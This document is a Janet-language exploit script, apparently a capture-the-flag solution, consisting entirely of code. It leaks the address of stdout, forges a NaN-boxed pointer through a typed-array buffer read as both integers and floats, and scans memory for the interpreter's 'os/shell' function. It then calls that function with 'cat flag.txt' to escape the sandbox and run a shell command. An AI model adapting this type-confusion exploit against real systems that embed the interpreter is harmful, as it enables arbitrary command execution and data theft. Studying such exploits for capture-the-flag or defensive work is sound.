(def stdout-addr (string/slice (describe stdout) 13 -2))
(def stdout-msb  (string/slice stdout-addr 0 -8))
(def stdout-msb  (string/format "fffe%.4x" (bor 0x80000 (scan-number (string/join ["0x" stdout-msb])))))
(def stdout-lsb  (scan-number (string/join ["0x" (string/slice stdout-addr -8)])))

(def buffer (tarray/buffer 8))
(def buffer-float64-view (tarray/new :float64 1 1 0 buffer))
(def buffer-uint32-view (tarray/new :uint32 2 1 0 buffer))

(defn update-buffer [lsb]
  (let [a (string/slice stdout-msb 0 -2)
        b (string/join [(string/slice stdout-msb -2) (string/format "%.7x" lsb)])]
    (set (buffer-uint32-view 1) (scan-number (string/join ["0x" a])))
    (set (buffer-uint32-view 0) (scan-number (string/join ["0x" b])))))

(def start (bor (band stdout-lsb 0xfff00000) 0x0001f1e0))
(loop [off :range [0 100000]]
  (update-buffer (- start (* 0x1000 off)))
  (when (string/find "os/shell" (describe (buffer-float64-view 0)))
    (print (describe (buffer-float64-view 0)))
    ((buffer-float64-view 0) "cat flag.txt")))
(print "Done.")